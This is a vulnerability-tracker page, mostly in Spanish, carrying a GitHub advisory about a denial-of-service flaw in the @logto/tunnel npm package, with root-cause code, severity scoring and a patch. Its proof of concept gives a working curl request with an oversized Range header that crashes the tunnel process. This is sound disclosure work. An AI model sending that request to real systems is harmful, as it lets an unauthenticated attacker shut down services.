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Advisory · GitHub · npm · @logto/tunnel

GHSA-CR4J-QHRF-249W

Unauthenticated one-request denial of service in `@logto/tunnel`: the `Range` end is never clamped to the file size, so `fileHandle.read()` gets a length above `INT32_MAX` and Node aborts

Parche disponible
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CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -4 d de la divulgación
Exposición12 dDesde la divulgación, 9 nov 2026, 2:02 a. m.
Detección9 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
No corre prisa, pero no la pierdas de vista.Seguimiento de cerca: yo sé de mirar de cerca.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.3.12
Monitoreo
Detectada +1
5 nov 26
9 nov 26
19 nov 26
21 nov 26
5 nov 26
9 nov 26
13 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.3.12 @logto/tunnel · -4 d desde divulgación
Divulgación Publicada GHSA-CR4J-QHRF-249W divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`createStaticFileProxy`'s `readFile()` allocates a buffer sized from the attacker-supplied
`Range` end without clamping it to the file size, then passes `buffer.length` to
`fileHandle.read()`. Node's `fs.Read` binding asserts that the length argument is an
`Int32`; a length above 2³¹−1 fails a native `CHECK`, which is **not catchable from
JavaScript** — the process aborts with SIGABRT.

One unauthenticated GET against a 6-byte file kills the tunnel.

Affected version

`@logto/tunnel` 0.3.11 (current npm `latest`). The same code is present in 0.3.8, i.e.
this is a sibling defect in the static-file handler that the CVE-2026-63188 fix rewrote —
not a regression introduced by that fix.

Root cause

`lib/commands/tunnel/utils.js:50-58`:

const readFile = async (requestPath, start, end) => {
    const fileHandle = await fs.open(requestPath, 'r');
    const { size } = await fileHandle.stat();
    const readStart = start ?? 0;
    const readEnd = end ?? Math.max(size - 1, 0);      // size is used ONLY when end is absent
    const buffer = Buffer.alloc(readEnd - readStart + 1);
    await fileHandle.read(buffer, 0, buffer.length, readStart);
    ...

`end` arrives from `@logto/core-kit`'s `parseRange()`, which parses the header and returns
the number verbatim:

export const parseRange = (range) => {
    const rangeMatch = /bytes=(\d+)-(\d+)?/.exec(range);
    ...
    const end = rangeMatch?.[2] === undefined ? undefined : Number.parseInt(rangeMatch[2], 10);
    return { start, end, count };
};

Nothing compares `end` to `size`, and nothing returns 416 for an out-of-range end. With
`end = 2147483648` the buffer is 2147483649 bytes, and `fileHandle.read()` hits
`node_file.cc`'s `CHECK(args[3]->IsInt32())`.

Reachability

Any network peer that can reach the tunnel's port — the same premise the parent advisory
was rated on. The configuration is the vendor's own documented example
(`docs/customization/bring-your-ui/debug-and-test-your-custom-ui-locally.mdx`):

logto-tunnel -p 9000 --experience-path /path/to/your/static/files --endpoint https://foobar.logto.app/

`commands/tunnel/index.ts` mounts `createStaticFileProxy(path)` whenever `--experience-path`
is set. No flags beyond the documented ones, no credentials, no interaction.

Proof of concept (measured, 0.3.11, node v22.22.3)

$ logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
$ ls -l <lab>/static/a.txt        ->  6 bytes

$ curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
200
$ curl -o /dev/null -H 'Range: bytes=0-3' -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
206

$ curl -H 'Range: bytes=0-2147483648' http://127.0.0.1:<port>/a.txt
(no response, connection closed)
$ echo $?   # of the tunnel process
134                                   # 128 + 6 = SIGABRT

Process output:

#  node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535
#  Assertion failed: args[3]->IsInt32()
----- Native stack trace -----
 1: node::Assert(node::AssertionInfo const&) [node]
----- JavaScript stack trace -----
 4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)

Impact

Availability only, but total and trivially repeatable: a single request terminates the
tunnel process. There is no `try/catch` that can save it — the abort happens in Node's C++
layer, below the handler's own `try` block. Under a supervisor that restarts the process, a
request loop is a permanent outage.

A secondary effect on the way to the abort: a smaller-but-still-large `Range` end (below
`INT32_MAX`) makes the process zero-fill a buffer of that size, so an attacker can also
drive memory to near-OOM with one request per gigabyte.

Severity

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = 7.5 (High) by the formula; I rate the
practical severity Medium, because the affected component is a developer-facing CLI
tunnel rather than a production service, and there is no confidentiality or integrity
impact. The parent advisory for this same component was accepted at CVSS 4.0 8.7 on the
same reachability premise, so I am flagging the discrepancy rather than resolving it.

CWE-1284 (improper validation of a quantity) → CWE-789 (memory allocation with excessive
size) → CWE-617 (reachable assertion) → CWE-400.

Suggested fix

Clamp in `readFile`, and answer 416 for an unsatisfiable range:

const readEnd = Math.min(end ?? size - 1, Math.max(size - 1, 0));
if (readStart > readEnd) { throw new Error('Range not satisfiable.'); }

`getStaticFileErrorStatusCode` already maps `'Range not satisfiable.'` to 416, so the error
path exists and only needs to be reached. Clamping in `parseRange` alone is not enough
because it has no access to the file size.

Dedup

Parent advisory GHSA-rxjr-6c9q-h67x (CVE-2026-63188), *"logto-tunnel serves files outside
--experience-path via path traversal"*, fixed in 0.3.9 by PR #9113 — a different defect
(path confinement) in the same handler; the traversal check is unrelated to the range
arithmetic and is untouched by this report. Installing 0.3.8 shows the identical unclamped
`readFile`, so this is neither a duplicate of nor a regression from that advisory. No other
advisory, issue or PR for `@logto/tunnel` mentions `Range`, buffer sizing, or a crash.

Honest limits

Measured on Linux with node v22.22.3. The exact threshold at which the abort occurs is
Node's `Int32` assertion, so it is version-independent in practice, but the specific
`node_file.cc` line number will differ across Node releases. I did not test Windows.

---

Appendix — `EVIDENCE_logto_tunnel_range_abort_20260901.txt` (inlined; advisories accept no attachments)

=== @logto/tunnel 0.3.11 (npm latest) — measured 2026-09-01, node v22.22.3, 127.0.0.1 only ===

start (verbatim from the vendor's documented example):
  logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
served file: <lab>/static/a.txt  = 6 bytes

CONTROLS
  GET /a.txt                       -> 200
  GET /a.txt  Range: bytes=0-3     -> 206

ATTACK — one unauthenticated request
  GET /a.txt  Range: bytes=0-2147483648   -> no response, connection closed
  process exit status: 134 (128+6 = SIGABRT)

process output:
  #  node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535
  #  Assertion failed: args[3]->IsInt32()
  ----- Native stack trace -----
   1: node::Assert(node::AssertionInfo const&) [node]
  ----- JavaScript stack trace -----
   1: read (node:internal/fs/promises:697:13)
   2: fsCall (node:internal/fs/promises:466:18)
   3: read (node:internal/fs/promises:197:12)
   4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)

VERSION NOTE: the same unclamped readFile body is present in 0.3.8 (pre-CVE-2026-63188), so this is a sibling defect
              in the handler that fix rewrote, NOT a regression the fix introduced.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
@logto/tunnel≤ 0.3.11
0.3.11
0.3.12
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@logto/tunnel
Corregida 0.3.12 -4 d 0.3.12 no afectada
Versiones corregidas0.3.12
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/logto-io/logto/security/advisories/GHSA-cr4j-qhrf-249w

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.